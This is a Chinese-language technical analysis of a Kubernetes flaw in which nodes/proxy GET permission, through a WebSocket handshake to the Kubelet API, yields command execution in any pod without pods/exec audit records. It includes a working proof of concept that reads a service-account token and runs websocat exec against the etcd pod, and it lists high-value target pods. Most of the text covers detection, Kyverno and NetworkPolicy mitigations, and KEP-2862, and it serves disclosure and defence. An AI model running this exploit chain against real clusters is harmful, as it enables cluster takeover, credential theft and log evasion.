导语
2026 年 1 月,安全研究员 Graham Helton 公开披露了一个令人警醒的 Kubernetes RBAC 授权绕过问题:仅需 nodes/proxy GET 权限,攻击者即可在集群中任意 Pod 内执行命令,包括特权系统 Pod 和控制平面组件,最终导致完整的集群沦陷。更令人不安的是,这条攻击路径完全绕过了 Kubernetes 审计日志对 pods/exec 操作的记录。
这不是某个特定厂商的漏洞,而是 Kubernetes RBAC 授权模型与 WebSocket 协议语义之间的根本性不匹配。Kubernetes 安全团队在 HackerOne 安全披露流程中将其定性为 "Won't Fix — Working as Intended",拒绝分配 CVE 编号,并指向 KEP-2862 作为长期架构解决方案。
本文将从协议层、授权模型、攻击链复现和生态影响四个维度,对这一问题进行完整的技术解剖。
| 属性 | 详情 |
|---|---|
| 漏洞权限 | nodes/proxy GET |
| 测试 K8s 版本 | v1.34, v1.35 |
| 必要网络访问 | Kubelet API(端口 10250) |
| 影响范围 | 可达节点上任意 Pod 内代码执行 |
| 披露状态 | Won't Fix(设计预期行为) |
| 受影响 Helm Chart | 69+ |
一、nodes/proxy 权限模型详解
1.1 RBAC 资源与动词映射
Kubernetes RBAC 通过资源(Resource)和动词(Verb)的组合控制访问权限。标准映射关系如下:
pods+get→ 读取 Pod 列表pods/exec+create→ 在 Pod 内执行命令pods/logs+get→ 读取容器日志
这种设计使得安全审计人员可以通过审查 ClusterRole 快速判断一个服务账户是否具备写权限。nodes/proxy 是一个违反这一直觉的异类。
1.2 nodes/proxy 的双重路径
nodes/proxy 不是映射到单一操作的资源,而是 Kubelet API 的一个万能代理网关,控制两条截然不同的访问路径:
路径 A:API Server Proxy(经过 API Server 代理)
https://$APISERVER/api/v1/nodes/$NODE_NAME/proxy/...
请求经由 API Server 转发至目标节点的 Kubelet。常见操作包括:
# 读取节点指标
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/metrics
# 读取资源使用摘要
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/stats/summary
# 获取容器日志
kubectl get --raw /api/v1/nodes/$NODE_NAME/proxy/containerLogs/$NS/$POD/$CONTAINER
关键特征:所有请求均经过 API Server,受 AuditPolicy 完整记录,包括 pods/exec 的完整请求 URI(含执行命令)。
路径 B:Kubelet API 直连
https://$NODE_IP:10250/...
请求直接发往节点上的 Kubelet 进程,不经过 API Server。审计日志中仅记录 subjectaccessreviews 的授权检查,不记录 pods/exec 的具体操作和命令内容。
Kubelet API 除暴露 /metrics、/stats、/containerLogs 等只读端点外,还暴露以下高危写操作端点:
| Kubelet 端点 | 功能 | 预期所需 RBAC 动词 |
|---|---|---|
/exec |
在容器内执行命令(交互式) | CREATE |
/run |
在容器内执行命令(非交互式) | CREATE |
/attach |
附加到容器进程的 stdin/stdout/stderr | CREATE |
/portforward |
创建网络隧道转发 TCP 连接 | CREATE |
1.3 HTTP 方法到 RBAC 动词的映射
Kubelet 采用与 API Server 相同的请求属性方法进行授权判断(auth.go:80-94):
| HTTP 方法 | RBAC 动词 |
|---|---|
| GET | get |
| POST | create |
| PUT | update |
| PATCH | patch |
| DELETE | delete |
这种映射在标准 HTTP 请求场景下工作正常。但当涉及 WebSocket 协议时,一条根本性的语义鸿沟出现了。
二、漏洞原理:WebSocket 握手与授权的语义鸿沟
2.1 核心矛盾
根据 WebSocket RFC 6455 Section 4.1,WebSocket 连接必须以 HTTP GET 请求发起握手:
GET /exec/default/nginx/nginx?command=id&stdout=true HTTP/1.1
Host: node-ip:10250
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
这就是问题所在。Kubelet 在处理这个请求时:
- 读取 HTTP 方法
GET - 映射为 RBAC 动词
get - 映射路径
/exec/...为nodes/proxy子资源 - 执行授权检查:"该用户是否拥有
nodes/proxy get权限?" - 检查通过 → 升级连接为 WebSocket → 不再进行二次 CREATE 权限检查
正常情况下,通过 API Server Proxy 路径执行 POST 请求到 /exec 端点时,POST 会被正确映射为 create 动词,仅有 get 权限的服务账户将被拒绝(403 Forbidden)。但 WebSocket 绕过了这一映射。
2.2 授权流程对比
正常 exec 路径(API Server Proxy,POST):
攻击者 → API Server (POST /exec) → 映射为 CREATE → 检查 nodes/proxy create → 403 Forbidden ✗
WebSocket exec 路径(Kubelet 直连,GET 升级):
攻击者 → Kubelet (GET /exec, Upgrade: websocket)
→ 映射为 GET → 检查 nodes/proxy get → 200 OK ✓
→ WebSocket 连接建立 → exec 处理器接管 → 无二次检查
→ 攻击者获得完整 exec 会话 → 任意命令执行
2.3 审计日志盲区
这是此漏洞最危险的特征之一。两种路径的审计日志差异极大:
经过 API Server 的 exec 请求(在审计日志中可见完整命令):
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"requestURI": "/api/v1/namespaces/kube-system/pods/etcd-minikube/exec?command=sh&command=-c&command=id",
"verb": "get",
"objectRef": {
"resource": "pods",
"subresource": "exec"
}
}
直连 Kubelet 的 exec 请求(仅记录 subjectaccessreviews,不记录命令):
{
"kind": "Event",
"apiVersion": "audit.k8s.io/v1",
"requestURI": "/apis/authorization.k8s.io/v1/subjectaccessreviews",
"verb": "create",
"objectRef": {
"resource": "subjectaccessreviews",
"apiGroup": "authorization.k8s.io"
}
}
直连 Kubelet 路径下,pods/exec 操作完全不生成审计日志记录,攻击者执行的命令无法通过标准审计手段回溯。
三、攻击链复现
3.1 完整攻击链图
┌─────────────────────────────────────────────────────────────────────────┐
│ 攻击链全景图 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ [Step 1] 获取 ServiceAccount Token │
│ │ 来源: Pod 内 SA Token 挂载 / 配置泄露 / SSRF │
│ ▼ │
│ [Step 2] 枚举节点 IP 地址 │
│ │ 来源: kubectl get nodes -o wide / DNS / API Server │
│ ▼ │
│ [Step 3] 枚举目标 Pod │
│ │ GET https://$NODE_IP:10250/pods → 列出节点所有 Pod │
│ ▼ │
│ [Step 4] WebSocket 握手建立 exec 会话 │
│ │ websocat --insecure │
│ │ --header "Authorization: Bearer $TOKEN" │
│ │ --protocol v4.channel.k8s.io │
│ │ "wss://$NODE_IP:10250/exec/$NS/$POD/$CONTAINER │
│ │ ?output=1&error=1&command=id" │
│ ▼ │
│ [Step 5] 获取 root shell │
│ │ uid=0(root) gid=0(root) groups=0(root) │
│ ▼ │
│ [Step 6] 横向移动 │
│ ├── 读取 SA Token → API Server 认证 │
│ ├── 攻击 etcd / kube-apiserver 等系统 Pod │
│ ├── 窃取 Secrets / ConfigMaps │
│ └── 部署后门 Pod → 持久化控制 │
│ │
└─────────────────────────────────────────────────────────────────────────┘
3.2 最小可利用权限
一个仅包含 nodes/proxy GET 的 ClusterRole 就足以构成完整攻击链:
# 可被利用的最小 ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: nodes-proxy-reader
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
3.3 PoC:从 Token 到 root exec
# Step 1: 从 Pod 内获取 SA Token
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
# Step 2: 获取目标节点 IP(假设已知)
export NODE_IP=10.0.1.100
# Step 3: 枚举节点上所有 Pod
curl -sk -H "Authorization: Bearer $TOKEN" \
https://$NODE_IP:10250/pods | jq '.items[].metadata.name'
# Step 4: 使用 websocat 建立 WebSocket exec 会话
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/kube-system/etcd-control-plane/etcd\
?output=1&error=1&command=id"
# 输出:
# uid=0(root) gid=0(root) groups=0(root)
3.4 目标选择:高价值系统 Pod
由于 nodes/proxy GET 可以在任意 Pod 中执行命令,攻击者可优先针对以下高价值目标:
| 系统组件 Pod | 攻击价值 | 典型路径 |
|---|---|---|
etcd |
直接读取/修改集群状态数据库 | kube-system/etcd-{node} |
kube-apiserver |
API Server 凭证、证书 | kube-system/kube-apiserver-{node} |
kube-scheduler |
调度策略操控 | kube-system/kube-scheduler-{node} |
kube-controller-manager |
控制器凭证 | kube-system/kube-controller-manager-{node} |
coredns |
DNS 劫持 | kube-system/coredns-* |
kube-proxy |
网络策略绕过 | kube-system/kube-proxy-* |
四、影响评估
4.1 受影响 Helm Chart
Graham Helton 通过代码仓库扫描确认,至少 69 个广泛使用的 Helm Chart 在默认配置或可选配置中授予了 nodes/proxy GET 权限。以下列出高影响类别中的代表性 Chart:
| 类别 | Helm Chart | 影响说明 |
|---|---|---|
| 可观测性 | prometheus-community/prometheus |
全节点指标采集 |
| 可观测性 | grafana/promtail |
全节点日志采集 |
| 可观测性 | opentelemetry-helm/opentelemetry-kube-stack |
OTel 全栈监控 |
| 安全工具 | aquasecurity/trivy-operator |
安全扫描 |
| 安全工具 | wiz-sec/sensor |
云安全态势管理 |
| 网络方案 | cilium/cilium(启用 SPIRE 时) |
CNI 策略引擎 |
| APM/监控 | datadog/datadog |
全栈监控代理 |
| APM/监控 | newrelic/newrelic-infrastructure |
基础设施监控 |
| 日志管理 | elastic/elastic-agent |
日志与指标采集 |
注意:部分 Chart(如 cilium)需要启用特定功能选项才会引入
nodes/proxy权限。
4.2 攻击面评估
此漏洞的实际威胁程度取决于以下因素的叠加:
- 权限授予广度:69+ Helm Chart 意味着大量集群的默认部署中存在可利用的 SA Token
- 网络可达性:大多数集群内网络策略未限制 Pod 到 Kubelet 10250 端口的通信
- 审计日志盲区:直连 Kubelet 路径不记录
pods/exec操作,事后取证困难 - 权限提升路径:从任意 Pod exec → 读取 SA Token → 可能获得 cluster-admin
- K8s 官方态度:Won't Fix 意味着在 KEP-2862 全面落地之前,此问题将持续存在
五、检测与缓解
5.1 检测方法
方法一:kubectl 权限检查
# 检查特定 SA 是否拥有可利用权限
kubectl auth can-i get nodes --subresource=proxy \
--as=system:serviceaccount:monitoring:prometheus
# 如果输出 "yes",则该 SA 具备可利用权限
方法二:批量扫描所有 ClusterRole
Graham Helton 发布了专用检测脚本,可自动枚举集群中所有绑定 nodes/proxy GET 的服务账户。
方法三:审计 subjectaccessreviews 日志
虽然直连 Kubelet 的 exec 操作不在审计日志中体现为 pods/exec,但 subjectaccessreviews 记录仍然存在。可以监控高频 subjectaccessreviews 作为异常行为指标。
5.2 缓解方案对比
| 缓解措施 | 实施难度 | 防护效果 | 局限性 |
|---|---|---|---|
| NetworkPolicy 封锁 10250 端口 | 中 | 高:切断直连路径 | 可能影响合法监控流量;不影响 API Server Proxy 路径 |
| Kyverno 策略阻止 nodes/proxy | 中 | 高:从 RBAC 层阻断 | 需要逐步替换为细粒度权限 |
| OPA Gatekeeper 限制 | 中 | 高:准入控制层拦截 | 策略维护成本较高 |
| 迁移到 KEP-2862 细粒度权限 | 高(长期) | 根治性 | 需要 K8s 1.33+ 才可启用 Beta |
| 限制 SA Token 自动挂载 | 低 | 部分缓解:减少 Token 泄露面 | 不解决已有权限的滥用 |
| Kubelet 认证白名单 | 高 | 根治性:仅允许 API Server 访问 | 需要修改 Kubelet 启动参数 |
5.3 Kyverno 策略示例
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: deny-nodes-proxy-get
spec:
validationFailureAction: Enforce
rules:
- name: block-nodes-proxy-get-in-rbac
match:
any:
- resources:
kinds:
- ClusterRole
- Role
validate:
message: "Granting nodes/proxy permissions is prohibited. Use fine-grained alternatives (nodes/metrics, nodes/stats, etc.) per KEP-2862."
deny:
conditions:
any:
- key: "{{ request.object.rules[].resources[] }}"
operator: Equals
value: "nodes/proxy"
5.4 NetworkPolicy 示例
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-kubelet-direct-access
namespace: monitoring
spec:
podSelector: {}
policyTypes:
- Egress
egress:
# 允许到 API Server 的通信
- to:
- ipBlock:
cidr: 10.96.0.0/12 # Kubernetes Service CIDR
ports:
- protocol: TCP
port: 443
# 默认拒绝所有其他 Egress(包括到 10250 端口的直连)
六、KEP-2862:长期架构解决方案
6.1 时间线
| K8s 版本 | KEP-2862 状态 | 说明 |
|---|---|---|
| v1.32 | Alpha(默认关闭) | Feature Gate KubeletFineGrainedAuthz 引入 |
| v1.33 | Beta(默认启用) | 支持部分细粒度子资源 |
| v1.36 | GA | Feature Gate 锁定为启用,正式发布 |
6.2 新的细粒度子资源映射
KEP-2862 引入了以下细粒度 Kubelet 子资源,替代粗粒度的 nodes/proxy:
| 权限 | 对应 Kubelet API 端点 | 典型使用场景 |
|---|---|---|
nodes/metrics |
/metrics, /metrics/cadvisor, /metrics/probes |
Prometheus 等指标采集 |
nodes/stats |
/stats, /stats/summary |
资源使用统计 |
nodes/log |
/logs/ |
节点日志 |
nodes/healthz |
/healthz, /healthz/ping, /healthz/syncloop |
健康检查探针 |
nodes/pods |
/pods, /runningpods |
Pod 列表/状态查询 |
nodes/configz |
/configz |
配置信息 |
nodes/spec |
/spec/* |
节点规格查询 |
nodes/checkpoint |
/checkpoint/* |
容器检查点 |
6.3 重要的局限性
/exec、/run、/attach、/portforward仍然没有细粒度替代——任何合法需要这些端点的工作负载仍需使用nodes/proxy- 不修复 WebSocket 动词映射行为——
nodes/proxy GET通过 WebSocket 获得执行能力的根本问题依旧存在 - 向后兼容模式——Kubelet 先检查细粒度子资源,失败后回退到
nodes/proxy,迁移期两者并存 - 升级路径——现有绑定
nodes/proxy的工作负载在升级后无需修改即可继续运行,但安全团队应主动迁移到细粒度权限
6.4 迁移后的 ClusterRole 示例
# 旧方式:过度授权
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: monitoring-agent
rules:
- apiGroups: [""]
resources: ["nodes/proxy"]
verbs: ["get"]
---
# 新方式:最小权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: monitoring-agent
rules:
- apiGroups: [""]
resources: ["nodes/metrics", "nodes/stats"]
verbs: ["get"]
七、个人技术观点
7.1 "Working as Intended" 的合理性与危险性并存
从 Kubelet 实现者的角度看,此行为确实"按设计工作"——Kubelet 在 HTTP 层面忠实地将 GET 映射为 get 动词,完全遵循了 RFC 6455 的 WebSocket 握手规范。问题在于这个映射在语义层面产生了鸿沟:WebSocket 的 GET 握手是一个建立双向通信通道的元操作,而非传统意义上的资源读取。Kubelet 没有区分"读取的 GET"和"握手的 GET"。
Kubernetes 安全团队拒绝为此分配 CVE 并标记为 Won't Fix 是有架构考量的——在 Kubelet 和 API Server 之间实现"二次授权"逻辑确实复杂且脆弱。但这不意味着问题不存在。
7.2 与 Kerberoasting 的类比
Graham Helton 在其原文中将此问题类比为 Active Directory 中的 Kerberoasting——架构上"设计如此",部署广泛,可被攻击者利用多年。这个类比非常精准。nodes/proxy GET 的问题将在 KEP-2862 全面落地并被生态系统采纳之前持续存在,而生态采纳是一个可能需要数年的过程。
7.3 对集群安全实践的启示
- RBAC 审计必须超越字面含义:
nodes/proxy GET看起来是只读的,但实际等同于节点级的 root 权限。安全审计需要理解每个权限的实际攻击面,而非仅看动词名称。 - 纵深防御不可或缺:仅依赖 RBAC 是不够的。NetworkPolicy 限制 10250 端口访问是最直接的缓解手段。
- 关注 Kubelet 直连路径:大多数安全讨论集中在 API Server 层面,但 Kubelet API 直连路径的攻击面长期被低估。
- 加速 KEP-2862 采纳:K8s 1.36 已 GA,所有新部署应默认使用细粒度权限。存量集群应制定迁移计划。
八、参考来源
- Graham Helton, Kubernetes Remote Code Execution Via Nodes/Proxy GET Permission, 2026-01-26 — https://grahamhelton.com/blog/nodes-proxy-rce
- Daniel Limanowski & Adam Brown (Horizon3.ai), When "Read-Only" Isn't: K8s nodes/proxy GET to RCE, 2026-02-27 — https://horizon3.ai/attack-research/when-read-only-isnt-k8s-nodes-proxy-get-to-rce/
- Kubernetes Official Blog, Kubernetes v1.36: Fine-Grained Kubelet API Authorization Graduates to GA, 2026-04-24 — https://kubernetes.io/blog/2026/04/24/kubernetes-v1-36-fine-grained-kubelet-authorization-ga/
- KEP-2862: Fine-Grained Kubelet API Authorization — https://github.com/kubernetes/enhancements/issues/2862
- OpenFaaS Blog, How should OpenFaaS users approach nodes/proxy RCE in Kubernetes? — https://www.openfaas.com/blog/kubernetes-node-proxy-rce/
- Rory McCune, When is read-only not read-only?, 2024-11-11 — https://raesene.github.io/blog/2024/11/11/When-Is-Read-Only-Not-Read-Only/
- Kubernetes Documentation, kubelet Authentication/Authorization — https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/
- Kubernetes Documentation, RBAC Good Practices — https://kubernetes.io/docs/concepts/security/rbac-good-practices/
- Kubernetes Source Code,
pkg/kubelet/server/auth.go:80-94— https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/server/auth.go - IETF RFC 6455, The WebSocket Protocol — https://datatracker.ietf.org/doc/html/rfc6455
网络安全免责声明
本文仅供网络安全研究与教育目的。文中所描述的技术细节、PoC 代码和攻击链仅用于帮助安全专业人员评估自身基础设施的安全性。未经授权访问计算机系统或网络是违法行为。任何将本文技术用于未经授权的渗透测试、攻击或恶意活动的行为,均与作者意图无关,使用者需自行承担全部法律责任。请确保在获得明确书面授权的环境中进行安全测试,并遵守所在地区的法律法规。
浙公网安备 33010602011771号